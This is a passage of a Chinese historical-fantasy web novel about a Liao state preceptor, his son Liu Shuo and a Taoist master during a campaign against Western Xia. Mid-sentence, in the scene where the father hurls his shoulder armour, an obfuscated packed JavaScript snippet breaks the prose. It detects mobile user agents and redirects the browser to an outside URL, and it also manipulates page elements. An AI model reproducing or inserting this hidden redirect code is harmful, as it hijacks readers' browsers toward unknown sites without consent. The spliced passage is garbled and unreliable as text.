就在他们即将进入峡谷中段、一处最为狭窄的葫芦口时—— “咔啦啦……” 峡谷两侧的山坡上,突然响起一片令人牙酸的石块滚动与铠甲摩擦声。无数黑影从伪装的草丛、石缝中冒出,赫然是早已埋伏于此的西夏步卒!他们手持弓弩与长矛,瞬间封死了峡谷前后出路,将那队玄甲亲卫死士……瓮中捉鳖! “啧,年轻人,就是沉不住气。”凌霄子撇撇嘴,嗤笑一声,仿佛早就料到。他随手从怀里摸出一粒油炸花生米,用拇指和食指拈着,对着下方峡谷一侧某个特定的,看似毫无异样的岩壁凸起处,轻轻一弹—— “咻——啪!” 花生米划出一道微不可见的弧线,精准地击中了那处岩壁。 下一瞬—— “轰隆隆!” 一阵沉闷的巨响从山体内部传来。那处被击中的岩壁猛地一震,然后,一块足有房屋大小、看似天然、实则早被人做了手脚的巨岩,竟然从中断裂,带着无数碎石泥沙,轰然滚落! 巨岩不偏不倚,正好砸在峡谷中段,将那队埋伏的西夏步卒的后路,以及他们与主力之间的联系,狠狠截断。更妙的是,滚落的泥石形成了一道简易的屏障,暂时阻隔了峡谷内外的视线。 那队本已陷入绝境的玄甲亲卫死士,趁着这突如其来的混乱与屏障,毫不犹豫地抛弃了部分笨重装备,以最快速度向着原定目标——粮仓方向,继续潜行。 “傻小子,”凌霄子扭过头,对着身后被他用三根银针定住穴道,只能瞪着眼睛干着急的刘朔挑了挑眉,嘴角勾起一抹戏谑又深邃的笑,“瞧见没?” 他的下巴朝着下方那片被巨石隔开的混乱区域努了努,“那队伏兵——本来的任务,可不是蹲在这儿抓几个摸哨的。按李元昊的布置,他们该在发现你爹的赤羽骑‘佯攻’后,立刻绕出峡谷,从侧后方夹击,配合正面铁鹞子,给你爹来个狠的。” “这个埋伏点,还有这条隐蔽的绕后小道……”凌霄子的目光变得幽深,“你爹早在三天前的那次哨探里,就‘不小心’留了个破绽,让西夏的探子‘偶然’发现了。他算准了李元昊多疑又贪功的性子,必会在此设伏,而且……会把本该用于其他方向的一部分机动兵力,钉死在这里。” “所以啊,”老道拍了拍手,仿佛拍掉不存在的灰尘,“今晚真正去烧粮的路,反而安全了不少。至于陛下的人……嘿,吃点小亏,长点记性,也不是坏事。总比傻乎乎撞进真正的死地强。” 刘朔被定在原地,听着师傅的话,看着下方的变故,急得眼眶都红了。他腕间那几枚用红线串着、贴身佩戴的“开元通宝”铜钱,因为他情绪激动、气血翻涌,竟然发出轻微的“叮叮当当”的撞击声,在寂静的崖顶格外清晰。 他白天偷偷溜到父亲帅帐附近,不是为了捣乱,而是想找机会再次请战。结果却无意中听到了父亲与陛下那场并不愉快的争执。 耶律宗真的声音因为压抑的怒火而嘶哑:“……必须生擒李元昊!朕要将他锁在囚车里,拖回盛京,告祭太庙!雪朕三日前之耻!” 而父亲的声音,平静得近乎残酷:“陛下,臣夜观天象,紫微星旁将星晦暗,贪狼耀于西南。此乃主帅贸然深入,强求全功反易招致大祸之兆。李元昊固然该死,但以我军目前士气与粮草,强行深入追击围捕,恐被其临死反扑,或中其诱敌之计,徒增我军将士无谓伤亡。不若暂且困之,迫其和谈……” “天象?”耶律宗真的冷笑声打断了他,“国师是在用天象……教朕如何做皇帝吗?” 帐内气氛,冰冷如同凝固。 此刻看着父亲率领的赤羽骑在西夏阵前“孤军深入”,面对着随时可能从黑暗中扑出的铁鹞子主力,想着白天那场充满火药味的争执……刘朔只觉得全身的血液都在往头顶冲!父亲这是在刀尖上行走,是在用自己做饵,完成那个他不赞同、却又不得不执行的“佯攻”任务! 不能再等了! “师傅……让我……”他从牙缝里挤出几个字,眼中狠色一闪,竟然猛地咬破了自己的舌尖! “噗!” 一小口蕴含着少年精纯元气与武曲星力的心头热血,混着唾液,喷在了胸前那几枚“叮当”作响的铜钱之上。 “嗡——” 铜钱骤然发出一阵低沉的震鸣,表面流转过一层暗红色的光晕!那附着其上的,属于“武曲星”的杀伐罡煞之气,在主人心血刺激下猛地爆发,竟然硬生生冲开了凌霄子银针封住的部分穴道! 刘朔身体一震,恢复了对四肢的部分控制权,挣扎着就要站起。 “让你个头!”凌霄子脸色一沉,反手就是一针,这一次,直接扎向了刘朔颈侧最凶险的“昏睡穴”! 银针入体前,少年看见师傅那双总是醉意朦胧的眼睛里,此刻清澈锐利如同寒星,里面没有丝毫玩笑,只有深沉的凝重与一丝……无奈。 “你爹拼着得罪皇帝,也要保全那数千将士的性命,宁可自己冒险,也不愿看着他们为了一个人的面子去送死!”凌霄子的声音压得极低,却字字如锤,敲在刘朔心上,“你小子……别在这个时候犯浑,坏了他的大局!给我老实待着!” 针尖刺入,一股强烈的晕眩感袭来。刘朔软倒前的最后一眼,看向的是西北方向。 就在此时—— “轰!轰轰轰!” 贺兰山北麓方向,接连数声沉闷如同地心雷鸣的巨响炸开!紧接着,冲天的火光撕裂夜幕,将那一片天空映得如同白昼!滚滚浓烟如同挣脱束缚的黑色巨龙,翻腾着、扭曲着,狰狞地扑向高天!空气中,即使隔着二十里,也隐约传来一股焦糊混合着粮食焚烧的特殊气息。 那火光燃起的方式,那爆炸的节奏与规模……刘朔在昏睡过去的前一瞬,模糊地想起父亲书房中一卷残破笔记里的记载。那是耶律皓南当年在宋辽边境,为了对付宋军重兵把守的粮草大营,独创的——“星火燎原”之术。以特制的磷火弹为引,精确计算粮囤间距与风向,使火势如同有生命般蔓延串联,瞬间形成不可扑救的火海。 父亲……把他压箱底的本事,教给了陛下的亲卫。 这是他的表态,也是他的……无奈吗? 五日后。 西夏国主李元昊的求和国书,与辽帝耶律宗真的受降诏书,几乎同时送抵辽军大营。 帅帐旁的小帐内,药香弥漫。耶律皓南正在给趴在行军榻上的刘朔换药。少年背上那些纵横交错的可怖伤口,在凌霄子不计成本的玄门秘药与精心调理下,已经收口结痂,长出了淡粉色的娇嫩新肉。借着窗隙透入的天光,甚至能看见皮肤下有极淡的金色光晕如同活物般缓缓流转,那是药力深入肌理、催生气血、修复根本的迹象。 刘朔趴着,下巴垫在交叠的手臂上,一只手的指尖却不老实地勾着父亲垂在榻边的帅甲束带,有一下没一下地扯着。他的眼睛亮晶晶的,盯着帐壁上投射的、父亲忙碌的身影。 “爹,”他忽然开口,声音因为趴着而有些闷,“李元昊既然认输求和了,咱们……是不是该趁机多要点好处?比如……贺兰山北麓那片水草丰美的夏牧场?我看过地图,那地方卡着西夏往西的商道,要是拿下来,以后……” 他的话还没说完。 “闭嘴。”耶律皓南头也不抬,声音平静,手中的动作却毫不停顿。他拿过旁边案几上一碗刚熬好、还冒着滚烫热气的墨黑色药汁,用手背试了试温度,然后——竟然直接将碗沿抵到了刘朔的唇边。 “喝药。” 碗沿微烫,浓烈刺鼻的苦涩气味扑面而来。刘朔下意识地想躲,却被父亲另一只手稳稳按住了后颈。那力道不大,却带着不容置疑的意味。 “咕咚咕咚……” 苦得让人头皮发麻的药汁,就这么被强行灌了下去,淹没了少年所有未尽的话语与小小的“野心”。 帐外,恰在此时传来凌霄子那独特的,带着醉意的大笑声,以及辽帝近卫恭维的应和。 “……道长真乃神人!此番星象,原来是如此吉兆!” “嘿嘿,那是自然!”凌霄子的声音清晰可闻,“你们瞧,紫微帝星稳坐中宫,旁有武曲将星光芒大盛,这分明是‘将星拱卫,护主开疆’的大吉之象啊!什么‘犯主’,那都是不懂行的瞎掰!陛下洪福齐天,此战之后,必是国运昌隆,四海宾服!哈哈哈!” 他竟然将之前那些对“武曲星”不利的、隐含警告的星象说法,硬生生扭转成了一片歌功颂德的吉祥话。 帐帘外,隐约可见耶律宗真身着常服的身影。他抚掌大笑,笑声爽朗愉悦,仿佛对此番“解读”十分受用。“道长慧眼!此战能胜,全赖将士用命,亦是天佑我大辽!” 然而,就在他大笑的同时,他的目光,却似乎不经意地、极其自然地……扫过了刘朔所在的这顶小帐的帐帘。那目光一掠即逝,快得让人抓不住,可帐内的耶律皓南,给儿子擦拭嘴角药渍的手指,却微不可察地顿了一下。 笑声与恭维声渐渐远去。 耶律皓南默默地从怀中取出一卷明黄色的绢帛,那是刚刚送到的、盖着皇帝玉玺的撤军手谕。他将其在案上展开,动作平稳。 然而,绢帛之下却露出了另一样东西——半块沉甸甸的、色泽暗沉的青铜虎符。虎符造型狰狞,咬合处参差不齐,显然是从中剖开。这是可以调动后军、押运辎重的信物,按制在战事结束,大军开拔前,就该由统帅缴还皇帝或枢密院特使。 此刻,它却出现在这里,被耶律皓南压在了撤军手谕之下。 他静静地看了那半块虎符片刻,目光深沉难辨。然后他伸出手,不是将其收起,而是——将其塞进了刘朔的枕头下面。 “撤军,明日辰时。”他的声音平静无波,仿佛在说一件与己无关的事。 刘朔刚被苦药激出的泪花还在眼角,闻言愣住,不解地看着父亲。 耶律皓南的目光落在他尚带稚气的脸上,停顿了一下,才继续道:“押送重伤员与多余辎重的车队,不走官道,改走阴山小道。路况复杂,需有人押阵协调。” “你……替为父盯着点。” 阴山小道?押送伤员辎重?** 这是最琐碎、最不起眼、也最远离主力与是非的差事。与刘朔心中所想的“趁胜追击”、“开疆拓土”简直天壤之别。 少年怔住了,一时间没有反应过来。 “哐当!”** 帐帘被人粗鲁地掀开,凌霄子拎着个小布包,醉醺醺地晃了进来。他看也不看,就把那布包砸在了刘朔脸上。 “臭小子!捡便宜还卖乖!”老道打了个响亮的酒嗝,“押送伤员,沿途能采药,能打猎,能泡温泉,还能躲开盛京那帮子整天喷唾沫星子的老棺材瓤子!这差事,比让你去阵前杀人放火……痛快多了!知足吧你!” 布包散开,里面是几块晶莹剔透的蜜渍果脯,甜香扑鼻,正好用来压那满口的苦药味。 刘朔下意识地接住果脯,还是有些懵。 凌霄子转身,似乎要出帐,经过耶律皓南身边时,他的身体微不可察地侧了侧,用只有两人能听见的、极低的气音,以唇语快速说了几个字: “放心。盛京……都打点好了。” 盛京?打点? 刘朔耳力极佳,捕捉到了这几个字,心中疑窦更深。 就在此时—— “嘚嘚嘚……” 帐外突然响起一阵急促的马蹄声,由远及近,在帅帐前戛然而止。紧接着,是耶律宗真身边那名嗓音尖锐的亲卫统领的高声呼喊: “国师大人在否?陛下有请——共商明日撤军犒赏之事宜!” 声音洪亮,透着一种公事公办的恭谨,却也带着一丝不容拒绝的急切。 撤军前夜,月华如水,静静泻在连绵百里、即将熄灭的营火之上。远处戈壁的轮廓在月色下显得愈发苍凉狰狞,仿佛一头匍匐的巨兽,吞噬了无数血肉与亡魂,此刻正沉沉睡去。 耶律皓南独自立于那面即将被降下的玄色狼旗之下。夜风拂过他染霜的鬓角,带来远山积雪的清冷气息。 他默默地解开了左手腕部的护腕。牛皮与铁片制成的护腕下,露出一截劲瘦的手腕。月光清冷,清晰地照出腕间一道斜贯而过的,已呈暗紫色的陈年疤痕。那疤痕凹陷粗糙,边缘狰狞,可以想见当年受伤时的惨烈——箭簇恐怕是带着倒钩,硬生生撕扯下一块皮肉。 那是十二年前,宋辽边境。他为了护住执意规劝他回头的杨排风,用手臂硬挡了宋军神射手一支淬毒的冷箭。毒性猛烈,几乎废了他一条手臂,也在他心上留下了更深的愧疚与后怕。 而此刻在这道旧伤的旁边,紧贴着它的地方,赫然多了一道新鲜的,尚未完全愈合的红色刮伤。伤口不深,却很长,是被锋利的箭簇或刀尖擦过所致。 那是三日前,在西夏阵前“佯攻”时,一支流矢射向了当时隐在阵中、试图靠近观察敌情的刘朔。耶律皓南眼角余光瞥见,根本来不及思考,身体已经本能地挥臂一格…… 和十二年前,如出一辙。 只是,守护的对象,从妻子,变成了儿子。 月光下,一旧一新两道伤痕并列,触目惊心,仿佛是命运无声的嘲弄,也仿佛是血脉相连的烙印。 “爹!” 少年清亮且带着几分急切的嗓音,划破了沉寂的夜色。刘朔抱着一卷比他人还高的羊皮舆图,从营地那边深一脚浅一脚地跑了过来。他的衣摆和裤脚沾满了泥浆,显然是刚去勘查过地形,可那双眼睛,在月光下却亮得灼人,仿佛盛着两团不熄的火焰。 “我去看过了!阴山小道中段,真的有处天然的温泉眼!水是活的,还带着硫磺味儿,对伤口愈合最好不过!”他气喘吁吁地停在父亲面前,眼睛亮晶晶的,“沿途还有好几片草药坡,师傅说都是难得的好药材!等伤员们泡上温泉,我就带人去采……” 他的话语戛然而止。 因为他的目光,无意中落在了父亲解开护腕的手腕上。月光清晰地映出那一旧一新两道伤痕。 少年脸上所有的兴奋与雀跃,在看清那伤痕的刹那,瞬间凝固、褪去。他的嘴唇微微张着,瞳孔骤然收缩,仿佛被无形的重锤击中。他认得那道旧伤……娘亲曾无数次在夜深人静时,抚摸着父亲腕上的疤痕,眼中含泪。而旁边那道新伤……位置、形状…… 三日前,那支擦着他头皮飞过的流矢……父亲那一瞬略显僵硬的动作…… 一切都串联了起来。 原来……原来父亲那一刻的“分神”,不是因为别的,是为了……他。 一股巨大的、混合着后怕、愧疚、酸涩与难以言喻的温暖的情绪,猛地冲上刘朔的鼻尖,让他的眼眶瞬间泛红。 耶律皓南神色不变,反手就要扣上护腕。 就在此时,刘朔忽然松开了抱着的舆图,手忙脚乱地从自己怀中,掏出了一样东西。 那是一截不到半尺长、通体焦黑、看不出本来面目的枯枝。枝干扭曲,仿佛经历了烈火焚烧与雷击。可就是在这截枯枝的顶端,竟然顽强地、倔强地,冒出了一点比米粒还小的、娇嫩欲滴的——嫩绿色新芽! 月光下,那点新芽颤巍巍地立着,散发着微弱却无比清晰的生机。 “这……这是……”刘朔的声音有些发颤,他将枯枝小心翼翼地捧到父亲面前,“是……是天门阵……阵眼那棵‘断魂松’……最后剩下的一截残枝……” “师傅……师傅让我把它带上,说……说等到了温泉边,就把它种下……”少年的声音越来越低,越来越哽咽,“他说……说等来年……等来年这桃花开了的时候……” “……就带着娘……一起来看……” 最后几个字,几乎是从少年喉咙里挤出来的,带着明显的哭腔。 桃花?断魂松……会开桃花吗? 耶律皓南的目光,凝在那截枯枝与那点嫩芽上,久久未动。他的眼前,仿佛又看见了战场上那纷扬落下的、混着血色的桃花瓣,看见了儿子染血的脸上那纯粹的,认为“好看”的笑容。 这孩子……他是真的,在用他自己的方式,笨拙地、执拗地,想要“净化”那些血腥的过往,想要在废墟与枯骨之上,种出一片属于他们一家人的,新的桃花林。 朔风骤起,卷着远方贺兰山巅的雪沫,冰冷刺骨地掠过戈壁,也掠过耶律皓南染霜的眉睫。 他静静地站了片刻。 然后在刘朔惊愕的目光中,他忽然伸手,一把扯下了自己左肩那片沉重的、代表着无数征战与责任的玄铁肩甲。 他握着那片冰冷的肩甲,手臂猛地向后一扬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185048|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后用尽全身力气,将其狠狠掷向了面前深不见底的、漆黑的峡谷! “嗖——哐!轰隆隆……” 肩甲划破夜空,带着尖锐的呼啸,重重撞在对面陡峭的崖壁之上,发出惊天动地的巨响。坚硬的玄铁瞬间崩裂成无数碎片,四下飞溅,撞击声、回声在幽深的峡谷中不断回荡、叠加,宛如一场迟来的、沉闷的雷鸣。 巨响惊起了栖息在崖壁缝隙与谷底灌木丛中的寒鸦,无数黑影“扑棱棱”地冲天而起,发出惊慌凄厉的啼叫,在月光下盘旋片刻,然后惊惶不已地向着南方——远离战场、远离血腥的方向,簌簌飞去。 耶律皓南静静地站在原地,望着寒鸦远去的方向,望着手中那截枯枝上颤巍巍的新芽,久久无言。 左肩卸甲处,夜风毫无阻隔地灌入,带来刺骨的冰凉,却也有一种前所未有的、奇异的轻松。 也许……是时候,试着卸下一些东西了。 辽军撤兵的牛角号声,沉闷而苍凉,如同垂死巨兽的哀鸣,缓缓荡开在贺兰山灰蒙蒙的晨霭之中。旌旗在朔风里疲惫地卷动,马蹄扬起的尘烟混着未散尽的血腥气,为这场不甚痛快的“胜利”蒙上一层暗色。 中军大纛下,耶律宗真身着玄色绣金常服,外罩一件紫貂皮大氅,立于尚未拆除的点将台上。他的脸色在晨光中看不出太多喜怒,唯有眼底深处那抹挥之不去的疲惫与某种灼人的光,交织在一起。 他的面前,刘朔身着略显宽大的玄色劲装,因为重伤初愈与连日汤药,脸色还有些苍白,但脊背挺得笔直,那双属于“武曲星”的眼睛,即使在此刻,依旧清亮有神,好奇地看着帝王手中的物事。 “此物,”耶律宗真开口,声音不高,却足以让周围数步内的亲卫、内侍听清,“乃太祖皇帝当年亲征室韦、定鼎漠北时,随身佩戴之匕首。” 他手中托着的,是一柄长不过七寸、鞘身以玄铁为基、通体鎏金、密密镶嵌着红宝石、绿松石、蜜蜡等七色宝石的华丽短匕。匕首形制古朴狰狞,即使经过精心保养,鞘身与柄部依旧留有多处无法磨灭的战斗划痕与暗红色血沁,诉说着它曾经历的血雨腥风。 少年天子伸出一根修长的手指,指腹缓慢而珍重地划过匕首鞘身上那狰狞盘绕、线条古拙的狼首浮雕纹路。他的动作很轻,很慢,仿佛在触摸一件易碎的珍宝,又仿佛在通过这冰冷的金属与纹路,与那位开国雄主对话。 “朕闻……”他抬起眼,目光从匕首移到刘朔脸上,嘴角勾起一抹极淡的、却足以让周围人心领神会的笑意,“古之名将,星宿临凡,多有天赐神兵相佐,方能纵横沙场,所向披靡。” 他的目光,似有意若无意地扫过刘朔右肩——那里,玄色衣料下隐约凸起绷带的轮廓,伤口应已结痂,但距离完全愈合显然还需时日。 “此匕虽非什么移山填海的神器,”耶律宗真的声音温和下来,带上了一种长者馈赠晚辈珍玩时的语气,“却是我大辽开国气运所钟,历代由天子佩藏。今日,朕便将它赐予你。” 说着,他不再给刘朔任何反应或推辞的时间,径直上前一步,亲手将那柄沉甸甸、冰冷中透着历史余温的鎏金匕首,稳稳地按进了刘朔摊开的掌心。 匕首入手冰凉沉重,那些宝石凸起抵着皮肤,带来清晰的存在感。刘朔下意识地想缩手,却被帝王那只按在匕首上的、戴着玄铁指套的手,不轻不重地压住。 “愿它能护佑我大辽的‘武曲星’,逢凶化吉,再建奇功。”耶律宗真的目光深邃,紧紧锁着少年的眼睛,那里面的意味,远比话语本身更加绵长。 这不是简单的赏赐。这是将代表着辽国开国正统与皇权的信物,亲手“按”在了刘朔手中。是一种极致的恩宠,也是一种无声的绑定与标记:你与我耶律家的江山,已经有了割不断的联系。 就在刘朔握着匕首,尚未从这份沉甸甸的“厚礼”中回过神时,耶律宗真忽然又“恍然”想起了什么。 “哦,瞧朕这记性。”他轻笑一声,竟然当着众人的面,解下了自己腰间一只通体黝黑、油光水滑的玄豹皮革囊。那皮囊不大,做工却极其精致,袋口以金线收边,缀着一小块品相极佳的青玉。 “这是去岁漠北三部新贡的雪蛤膏,取自万年雪线之上的极品雪蛤,佐以十八味珍稀药材,由太医院院正亲手调制。”他将皮囊也放在刘朔捧着匕首的手上,“于治疗箭疮刀伤,化瘀生肌,最是灵验不过。你肩上的伤,正好用得着。” 关怀备至,体贴入微。 “哎呀呀!陛下!” 一个夸张的,带着浓重酒气的声音插了进来。凌霄子不知从哪个旮旯角钻了出来,一把就从刘朔手里“抢”过了那只玄豹皮囊,凑到鼻子底下使劲嗅了嗅,然后皱着眉头、一脸嫌弃地嗤笑道: “这玩意儿?华而不实!闻着就是一股子富贵病的味儿!”他拍了拍自己腰间那个脏兮兮的破布口袋,“要说治外伤、生新肉,那还得是老夫独门秘方的‘童子尿拌金疮药’!经过了童子元阳淬炼,那效力,才叫一个立竿见影!比这劳什子雪蛤膏,好使多了!” 童子尿…… 周围几个年轻的内侍忍不住偷偷咧了咧嘴,又赶紧憋住。耶律宗真脸上那温和的笑容也僵了一瞬,眼角微不可察地抽搐了一下。 就在这略显尴尬的气氛中,一名身着紫袍、面白无须的贴身宦官,已经躬着身,双手捧着一只一尺见方的紫檀木雕花药匣,疾步趋近。匣盖打开,内衬明黄绸缎,上面整齐排列着三十六枚浑圆莹润、光泽内敛的鸽蛋大南海明珠!每一颗都大小相若,在晨光下流转着温柔的月白色光华,一看便知是万里挑一的珍品。 “国师之子年少英才,然此番征战,元气必有损耗。”耶律宗真的神色已恢复如常,他伸出手指,在紫檀匣盖上轻轻叩了叩,发出“笃笃”的清响,“朕记得,《黄帝内经》有云:‘珠玉者,阴之精也,能润泽五脏,安魂魄,明耳目……’” “这三十六枚南珠,便赐予你,日常佩戴或研粉入药,用以温养元神,固本培元,最是合宜。” 他的目光再次落在刘朔脸上,那里面的“关切”与“期许”,几乎要溢出来。“毕竟……朕还指望着,我大辽的‘武曲星’,能长久地为国效力,光耀门楣呢。” 匕首。雪蛤膏。南海明珠。 物质的赏赐,身体的关怀,前途的许诺……层层叠叠,密不透风。这是帝王的笼络之术,也是一张无形的、用温柔与珍宝织就的网,轻柔却牢固地,罩向了眼前这个年仅十二岁、却已展露出骇人天赋的少年。 返程的路上,队伍行进缓慢。耶律宗真竟出乎所有人意料地,将自己那辆宽大舒适的御辇让了出来,用以安置几名伤势最重的将领。他自己则换上了便于骑乘的劲装,跨上一匹通体雪白的神骏战马,与同样骑马而行的刘朔并辔而行。 此举自然又引来一片“陛下仁德体恤”的赞颂。 “朕近日重读《孙子兵法》‘九地篇’,”耶律宗真手中把玩着一根镶金嵌玉的马鞭,目光望着前方苍茫的雪原,似乎是随口闲谈,“其中有言:‘投之亡地然后存,陷之死地然后生。’朕思索良久,始终不得其深意。” 他忽然用马鞭随手一划,鞭梢在道旁厚厚的积雪上划出一道深深的痕迹。“直至……此番亲见你在贺兰山下,以残破之阵为饵,诱那西夏铁鹞子精锐入那天生的葫芦形死地……” 他转过头,目光灼灼地看向身旁正抱着一只油汪汪的烤羊腿、啃得满嘴流油的刘朔,嘴角噙着一丝探询的、兴味盎然的笑:“原来……这便是‘武曲星’用兵之道的精髓所在?于绝境中寻生机,化死地为杀场?” 刘朔被羊腿烫得直吸气,闻言抬起沾着油光的脸,想也不想就含糊应道:“陛下,那不叫‘投之亡地’,那叫……‘请君入瓮’!先把门给他关上,再……唔!” 他的话还没说完,嘴巴就被一只从马腹下突然伸出的、沾着泥雪的脏手,粗鲁地捂住了! 下一瞬,凌霄子那颗乱蓬蓬的脑袋,竟然从刘朔的马腹另一侧钻了出来!老道不知何时潜行到了马下,此刻一手捂着徒弟的嘴,另一只手以迅雷不及掩耳之势,揪住刘朔的后衣领,将一个小小的药瓶对准他的嘴巴就灌了下去! “咳!咳咳!师……师傅你干嘛!”刘朔被灌了满嘴苦涩刺鼻的药汁,呛得直咳嗽,手中的羊腿都差点掉了。 “小兔崽子!”凌霄子灌完药,松开手,没好气地在刘朔后脑勺上拍了一巴掌,“吃吃吃!就知道吃!你爹当年在宋辽边境炼完那个劳什子天门阵后,吐血三升,躺了三个月,连米汤都灌不进去一口!哪像你现在——” 他忽然扭过头,朝着旁边目光深邃的耶律宗真挤眉弄眼,一脸“你看看这小子”的表情,“陛下您给评评理!这臭小子,啃着羊腿,喝着补药,脸色一天比一天红润!是不是……比出征前,胖了整整一大圈?” 胖了? 刘朔下意识地摸了摸自己的脸,有些懵。耶律宗真的目光则在少年确实比初见时圆润了些的脸颊上停留了一瞬,眼中闪过一丝复杂难明的光,随即化作一阵爽朗的大笑。 “哈哈哈!道长说得是!少年人,正是长身体的时候,能吃是福!看来国师与道长,将小友照顾得极好!” 他大笑着,手中马鞭似乎无意地在空中一扬——鞭梢划过一道凌厉的弧线,带起尖锐的破空声,恰好……贴着刘朔的耳际掠过!冰冷的鞭梢甚至擦到了少年耳廓上细小的绒毛,带来一阵微微的刺痒与凉意。 刘朔下意识地一缩脖子。耶律宗真却浑若未觉,笑容不变,一夹马腹,向前驰去。 当夜宿营。 国师的营帐前,悄无声息地多了三大车质地最上乘的紫貂裘皮,以及五口沉甸甸的紫檀木箱——里面装的,全是颗颗浑圆、光泽夺目的东珠,品相甚至比白日所赐的南珠更胜一筹。 与此同时,随行的太医院院正,“恰巧”捧着几卷据说是宫中秘藏,记载了历代修习“天门阵”一类禁术而遭受反噬的详细案例与医理分析的珍贵医典,“前来拜访”国师,“交流探讨”。 这一切都发生在耶律皓南被耶律宗真以“商议犒赏细则”为名,请去御帐议事之后。 国师府的朱漆大门,在沉沉夜色中无声地开启,又缓缓合拢,将门外清冷的月光与京城冬夜的寒意,暂时隔绝。 门内,廊下悬挂的气死风灯投下温暖昏黄的光晕。杨排风一身利落的玄色劲装,外罩一件同色的狐腋皮裘,静静地立在灯下。她衣襟与袖口用银线绣着精致的忍冬缠枝纹,在灯光下随着她的呼吸微微流转,映亮了她那张并不惊艳,却线条清晰坚韧的面容。 她的目光,先是落在了被凌霄子拎着、一路嚷嚷着“放我下来”的刘朔身上。没有急切的迎上前,没有多余的话语,她只是伸出手,一把捏住了儿子的手腕。 指腹贴在腕间皮肤上,感受着那下面蓬勃有力,甚至比出征前更加沉稳雄浑的脉搏跳动。杨排风的眉尖几不可察地动了动,眼中闪过一丝讶异,随即是更深的忧虑。 这脉象……不像是重伤初愈,反倒像是经历了某种脱胎换骨般的淬炼,元气不仅未损,反而有所精进。这绝不是单靠药石能达到的效果。 她松开儿子的手腕,目光转向一旁面色疲惫、肩甲上血迹已干涸发黑的丈夫。她走上前,不是去接他卸下的披风,而是——直接伸手,扯开了耶律皓南左手的护腕。 牛皮护腕下,那道在月光下清晰可见的、尚未完全愈合的新鲜刀痕,赫然暴露在温暖的灯光下。伤口不深,却很长,边缘还有些红肿,显然是新伤。 这是撤军前夜,耶律皓南为了给儿子调配一味急需的固本培元药引,不得不割破自己腕脉,以心头热血为引所致。 杨排风的目光在那道伤痕上停留了片刻,脸上没有什么剧烈的表情变化,只是嘴唇抿得更紧了些。 她忽然转身,走到刚被凌霄子放下、正揉着脖子的刘朔身边,伸手按住他的肩膀,将他按坐在旁边一张铺着厚厚锦垫的绣墩上。 “朔儿。”她的声音平静,听不出什么情绪,手指却灵巧地解开了少年束发的玄色丝绦。青丝如瀑,披散下来。在廊下昏黄的灯光映照下,那些本是纯黑的发丝间,竟然隐隐流转着一种极淡的、却无法忽视的淡金色光泽!那光泽不刺眼,却让人心生异样,仿佛是将天上的星芒揉碎,撒入了发间。 “告诉娘。”杨排风的手指穿过儿子的长发,声音依旧平静,“你爹……逼你学那‘七星逆命’阵的时候……” 她顿了顿,抬起眼,目光清凌凌地看向一旁脸色骤然变得难看的耶律皓南,一字一句,缓慢而清晰地问道: “可曾……告诉过你……” “此阵若要发挥全力,每用一次……需以施术者十年阳寿为祭?” “七星逆命”阵!十年阳寿!** 这是比“天门阵”更加隐秘、更加霸道、也更加损己的禁术! “砰!” 一声脆响!耶律皓南身旁案几上一只上好的越窑青瓷茶盏,被他硬生生攥得粉碎!瓷片割破了他的掌心,鲜血混着茶水顺着指缝滴落。 “他当众用了精简版的天门阵!”耶律皓南的声音因为极度的愤怒与后怕而有些变调,“贺兰山下,数万将士都看见了!地涌金莲,桃花破煞!他……他根本不知道自己在玩什么!我……” 他的话音,在妻子那清凌凌的、仿佛能洞悉一切的目光注视下,戛然而止。 杨排风静静地看了他片刻。忽然,她的嘴角,极轻极轻地勾起了一抹弧度。那不是笑,至少不是开心的笑,而是一种混杂着了然、心疼、以及一丝淡淡嘲讽的神情。 她伸出手指,不是去擦丈夫掌心的血,而是轻轻掠过儿子后颈——那里,有一道极淡的、已经看不太清的旧疤。那是刘朔五岁时,偷偷爬天波府后院那棵老槐树掏鸟窝,不小心摔下来刮的。与什么天门阵、七星逆命阵……没有半文钱关系。 “师叔……把他教得很好。”杨排风的声音很轻,却字字清晰,“好到……比天上的云朵还要通透,还要干净。” 她转身,从怀中取出一个小小的白玉药盒,用指尖挑出一点晶莹透明的药膏,轻柔地抹在丈夫腕间那道新鲜的刀痕上。药膏清凉,带着淡淡的花香。 “你当年炼阵……是为了复仇,是为了在绝境中抓住哪怕一根稻草。”她的动作很慢,很仔细,“阵法里装的,是你的恨,你的痛,你的不甘,还有……那些无辜孩子的血。” “可朔儿不一样。”她抬起眼,看进耶律皓南因为她的话而剧烈震动的眼眸深处,“他布阵的时候……脑子里想的,是怎么困住敌人,是怎么少死几个人,是……阵眼的桃花,能不能开得好看一点。” “同样的阵法,因为布阵的人心境不同,承载的因果……早就不一样了。” 她的话音刚落。 “放屁!” 一声雷鸣般的怒吼从门口炸响!凌霄子一脚踹开虚掩的房门,拎着个足有半人高的硕大酒坛子,摇摇晃晃地闯了进来,满身酒气熏人。 “侄媳妇!你可别被这小兔崽子给骗了!”老道指着一脸无辜的刘朔,唾沫横飞,“他布阵的时候,满脑子根本不是什么救人桃花!他想的是——‘这次阵法摆得这么帅,回去能不能让我娘多夸我两句’!‘能不能把陛下赏的那柄匕首要过来玩玩’!还有——‘烤羊腿真香,回去要让娘亲也给我烤’!” 凌霄子越说越气,突然伸手,一把揪住刘朔的后衣领,竟然将十二岁、身量已经颇为修长的少年,像拎小鸡崽似的提溜了起来! “师傅!放我下来!我昨天量了,我都比你高半寸了!”刘朔猝不及防,双腿在空中乱蹬,急得大叫。 “闭嘴!”凌霄子吼了一嗓子,顺手就把怀里那个沉甸甸的大酒坛子塞进了刘朔怀里,“抱好了!跟老道走!去长白山挖百年老参!给你爹炖汤,好好治治他这死脑筋!” 他又扭头,朝着杨排风咧嘴一笑,露出满口黄牙:“侄媳妇,皓南这傻小子……就交给你了!好好‘教导’!我带这小崽子出去避避风头,顺便……挖点好东西回来给你补身子!” 说着,他拎着刘朔,转身就要走。 “师叔。”杨排风忽然开口,声音不高,却让凌霄子脚步一顿。 